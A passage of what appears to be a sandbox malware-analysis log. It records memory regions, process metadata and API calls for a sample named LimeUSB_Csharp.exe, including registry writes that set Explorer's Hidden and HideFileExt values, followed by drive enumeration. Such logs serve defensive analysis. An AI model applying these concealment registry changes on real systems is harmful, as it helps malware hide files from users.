"c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 2453 start_va = 0x7fef2df0000 end_va = 0x7fef2fe4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 2454 start_va = 0x7feed230000 end_va = 0x7feee2d5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 2455 start_va = 0x240000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 2456 start_va = 0x250000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 2457 start_va = 0x260000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 2458 start_va = 0x230000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 2459 start_va = 0x7fef8db0000 end_va = 0x7fef8dc5fff monitored = 1 entry_point = 0x7fef8dbe5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 2460 start_va = 0x1b8e0000 end_va = 0x1bbb1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Thread: id = 45 os_tid = 0x8fc [0109.729] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0112.765] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", ulOptions=0x0, samDesired=0x2001f, phkResult=0x18e748 | out: phkResult=0x18e748*=0x1c4) returned 0x0 [0112.770] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0x18e798, lpData=0x0, lpcbData=0x18e790*=0x0 | out: lpType=0x18e798*=0x4, lpData=0x0, lpcbData=0x18e790*=0x4) returned 0x0 [0112.771] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0x18e798, lpData=0x18e778, lpcbData=0x18e790*=0x4 | out: lpType=0x18e798*=0x4, lpData=0x18e778*=0x2, lpcbData=0x18e790*=0x4) returned 0x0 [0112.838] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0x18e758, lpData=0x0, lpcbData=0x18e750*=0x0 | out: lpType=0x18e758*=0x4, lpData=0x0, lpcbData=0x18e750*=0x4) returned 0x0 [0112.841] RegSetValueExW (in: hKey=0x1c4, lpValueName="Hidden", Reserved=0x0, dwType=0x4, lpData=0x18e7c8*=0x2, cbData=0x4 | out: lpData=0x18e7c8*=0x2) returned 0x0 [0112.841] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x18e798, lpData=0x0, lpcbData=0x18e790*=0x0 | out: lpType=0x18e798*=0x4, lpData=0x0, lpcbData=0x18e790*=0x4) returned 0x0 [0112.841] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x18e798, lpData=0x18e778, lpcbData=0x18e790*=0x4 | out: lpType=0x18e798*=0x4, lpData=0x18e778*=0x1, lpcbData=0x18e790*=0x4) returned 0x0 [0112.842] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x18e758, lpData=0x0, lpcbData=0x18e750*=0x0 | out: lpType=0x18e758*=0x4, lpData=0x0, lpcbData=0x18e750*=0x4) returned 0x0 [0112.842] RegSetValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", Reserved=0x0, dwType=0x4, lpData=0x18e7c8*=0x1, cbData=0x4 | out: lpData=0x18e7c8*=0x1) returned 0x0 [0112.846] GetLogicalDrives () returned 0x4 [0112.862] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x18d6d8 | out: phkResult=0x18d6d8*=0x0) returned 0x2 [0112.862] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0112.871] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x18e130, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0112.873] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0112.874] CoGetContextToken (in: pToken=0x18f5e0 | out: pToken=0x18f5e0) returned 0x0 [0112.875] CObjectContext::QueryInterface () returned 0x0 [0112.875] CObjectContext::GetCurrentThreadType () returned 0x0 [0112.875] Release () returned 0x0 [0112.915] CoGetContextToken (in: pToken=0x18f080 | out: pToken=0x18f080) returned 0x0 [0112.915] CObjectContext::QueryInterface () returned 0x0 [0112.915] CObjectContext::GetCurrentThreadType () returned 0x0 [0112.915] Release () returned 0x0 [0112.915] CoGetContextToken (in: pToken=0x18f080 | out: pToken=0x18f080) returned 0x0 [0112.915] CObjectContext::QueryInterface () returned 0x0 [0112.915] CObjectContext::GetCurrentThreadType () returned 0x0 [0112.915] Release () returned 0x0 [0112.919] CoGetContextToken (in: pToken=0x18f080 | out: pToken=0x18f080) returned 0x0 [0112.919] CObjectContext::QueryInterface () returned 0x0 [0112.919] CObjectContext::GetCurrentThreadType () returned 0x0 [0112.919] Release () returned 0x0 [0112.921] CoGetContextToken (in: pToken=0x18f0a0 | out: pToken=0x18f0a0) returned 0x0 [0112.921] CObjectContext::QueryInterface () returned 0x0 [0112.921] CObjectContext::GetCurrentThreadType () returned 0x0 [0112.921] Release () returned 0x0 [0112.922] CoUninitialize () Thread: id = 46 os_tid = 0x8f4 Thread: id = 47 os_tid = 0x92c [0110.982] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0112.917] RegCloseKey (hKey=0x1c4) returned 0x0 [0112.917] RegCloseKey (hKey=0xffffffff80000004) returned 0x0 Thread: id = 48 os_tid = 0x958 Process: id = "14" image_name = "limeusb_csharp.exe" filename = "c:\\users\\public\\documents\\limeusb_csharp.exe" page_root = "0x2b18f000" os_pid = "0x91c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x934" cmd_line = "\"C:\\Users\\Public\\Documents\\LimeUSB_Csharp.exe\" " cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f5e4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2461 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2462 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2463 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2464 start_va = 0x130000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 2465 start_va = 0x3b0000 end_va = 0xe73fff monitored = 1 entry_point = 0xe6e3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 2466 start_va = 0x77460000 end_va = 0x77608fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2467 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2468 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2469 start_va = 0x7fff9000 end_va = 0x7fff9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff9000" filename = "" Region: id = 2470 start_va = 0x7feff780000 end_va = 0x7feff780fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2471 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2472 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 2473 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 2474 start_va = 0x230000 end_va = 0x32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 2475 start_va = 0x7fef8d10000 end_va = 0x7fef8d7efff monitored = 1 entry_point = 0x7fef8d11134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 2476 start_va = 0x77340000 end_va = 0x7745efff monitored = 0 entry_point = 0x77355340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2477 start_va = 0x7fefd520000 end_va = 0x7fefd58bfff monitored = 0 entry_point = 0x7fefd522780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2478 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2479 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2480 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2481 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2482 start_va = 0x230000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 2483 start_va = 0x2b0000 end_va = 0x32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 2484 start_va = 0xe80000 end_va = 0xf7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e80000" filename = "" Region: id = 2485 start_va = 0xf80000 end_va = 0x100ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f80000" filename = "" Region: id = 2486 start_va = 0x7fefe2f0000 end_va = 0x7fefe3cafff monitored = 0 entry_point = 0x7fefe310760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2487 start_va = 0x7fefdc20000 end_va = 0x7fefdcbefff monitored = 0 entry_point = 0x7fefdc225a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2488 start_va = 0x7fefe8e0000 end_va = 0x7fefe8fefff monitored = 0 entry_point = 0x7fefe8e60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2489 start_va = 0x7fefe0c0000 end_va = 0x7fefe1ecfff monitored = 0 entry_point = 0x7fefe10ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2490 start_va = 0x1010000 end_va = 0x109ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001010000" filename = "" Region: id = 2491 start_va = 0x10a0000 end_va = 0x119ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010a0000" filename = "" Region: id = 2492 start_va = 0x7fef3c20000 end_va = 0x7fef3cc8fff monitored = 1 entry_point = 0x7fef3c21010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 2493 start_va = 0x7fefac50000 end_va = 0x7fefac52fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 2494 start_va = 0x7fefe960000 end_va = 0x7fefe9d0fff monitored = 0 entry_point = 0x7fefe971e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2495 start_va = 0x7fefd780000 end_va = 0x7fefd7e6fff monitored = 0 entry_point = 0x7fefd78b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2496 start_va = 0x77240000 end_va = 0x77339fff monitored = 0 entry_point = 0x7725a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2497 start_va = 0x7fefd7f0000 end_va = 0x7fefd7fdfff monitored = 0 entry_point = 0x7fefd7f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2498 start_va = 0x7fefdcc0000 end_va = 0x7fefdd88fff monitored = 0 entry_point = 0x7fefdd3a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2499 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2500 start_va = 0x11a0000 end_va = 0x1327fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000011a0000" filename = "" Region: id = 2501 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2502 start_va = 0x7fefdbf0000 end_va = 0x7fefdc1dfff monitored = 0 entry_point = 0x7fefdbf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2503 start_va = 0x7fefdfb0000 end_va = 0x7fefe0b8fff monitored = 0 entry_point = 0x7fefdfb1064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2504 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2505 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 2506 start_va = 0x1330000 end_va = 0x14b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001330000" filename = "" Region: id = 2507 start_va = 0x14c0000 end_va = 0x28bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000014c0000" filename = "" Region: id = 2508 start_va = 0x28c0000 end_va = 0x337cfff monitored = 1 entry_point = 0x337e3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 2509 start_va = 0x28c0000 end_va = 0x337cfff monitored = 1 entry_point = 0x337e3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 2510 start_va = 0x7fefc570000 end_va = 0x7fefc57bfff monitored = 0 entry_point = 0x7fefc571064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2511 start_va = 0x7fef0ee0000 end_va = 0x7fef19a6fff monitored = 1 entry_point = 0x7fef0ee63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 2512 start_va = 0x7fef0ee0000 end_va = 0x7fef19a6fff monitored = 1 entry_point = 0x7fef0ee63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 2513 start_va = 0x7fef0ee0000 end_va = 0x7fef19a6fff monitored = 1 entry_point = 0x7fef0ee63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 2514 start_va = 0x7fefb320000 end_va = 0x7fefb335fff monitored = 0 entry_point = 0x7fefb32c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 2515 start_va = 0x7fef3760000 end_va = 0x7fef381cfff monitored = 0 entry_point = 0x7fef37e7db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 2516 start_va = 0xd0000 end_va = 0xd0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 2517 start_va = 0xe0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 2518 start_va = 0xf0000 end_va = 0xfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 2519 start_va = 0x7fe918a0000 end_va = 0x7fe918affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe918a0000" filename = "" Region: id = 2520 start_va = 0x7fe918b0000 end_va = 0x7fe918bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe918b0000" filename = "" Region: id = 2521 start_va = 0x7fe918c0000 end_va = 0x7fe9194ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe918c0000" filename = "" Region: id = 2522 start_va = 0x7fe91950000 end_va = 0x7fe919bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91950000" filename = "" Region: id = 2523 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 2524 start_va = 0x110000 end_va = 0x110fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 2525 start_va = 0x28c0000 end_va = 0x2a0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000028c0000" filename = "" Region: id = 2526 start_va = 0x2a10000 end_va = 0x2b1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a10000" filename = "" Region: id = 2527 start_va = 0x2d00000 end_va = 0x2dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002d00000" filename = "" Region: id = 2528 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 2529 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 2530 start_va = 0x2e00000 end_va = 0x1adfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002e00000" filename = "" Region: id = 2531 start_va = 0x1ae00000 end_va = 0x1b17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ae00000" filename = "" Region: id = 2532 start_va = 0x2b20000 end_va = 0x2c20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002b20000" filename = "" Region: id = 2533 start_va = 0x1b300000 end_va = 0x1b3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b300000" filename = "" Region: id = 2534 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 2535 start_va = 0x1b200000 end_va = 0x1b2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b200000" filename = "" Region: id = 2536 start_va = 0x1b400000 end_va = 0x1b4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b400000" filename = "" Region: id = 2537 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 2539 start_va = 0x1b500000 end_va = 0x1b7cefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2540 start_va = 0x7feef8e0000 end_va = 0x7fef0edcfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 2541 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 2542 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 2543 start_va = 0x7fe919c0000 end_va = 0x7fe91a3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe919c0000" filename = "" Region: id = 2544 start_va = 0x7fefd800000 end_va = 0x7fefda02fff monitored = 0 entry_point = 0x7fefd823330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2545 start_va = 0x330000 end_va = 0x3acfff monitored = 0 entry_point = 0x33cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2546 start_va = 0x330000 end_va = 0x3acfff monitored = 0 entry_point = 0x33cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2547 start_va = 0x7fefd2a0000 end_va = 0x7fefd2aefff monitored = 0 entry_point = 0x7fefd2a1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2549 start_va = 0x7fef8e70000 end_va = 0x7fef8e72fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 2550 start_va = 0x7fef3140000 end_va = 0x7fef328efff monitored = 1 entry_point = 0x7fef3141090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 2551 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 2552 start_va = 0x1b7d0000 end_va = 0x1b95ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b7d0000" filename = "" Region: id = 2553 start_va = 0x7fe91a40000 end_va = 0x7fe91a4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91a40000" filename = "" Region: id = 2554 start_va = 0x230000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 2555 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 2556 start_va = 0x230000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 2557 start_va = 0x7feeec70000 end_va = 0x7feef8defff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 2558 start_va = 0x7fef2f40000 end_va = 0x7fef3134fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 2559 start_va = 0x7feedbc0000 end_va = 0x7feeec65fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 2560 start_va = 0x240000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 2561 start_va = 0x250000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 2562 start_va = 0x260000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 2563 start_va = 0x230000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 2564 start_va = 0x7fef8dd0000 end_va = 0x7fef8de5fff monitored = 1 entry_point = 0x7fef8dde5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 2565 start_va = 0x1b960000 end_va = 0x1bc31fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Thread: id = 49 os_tid 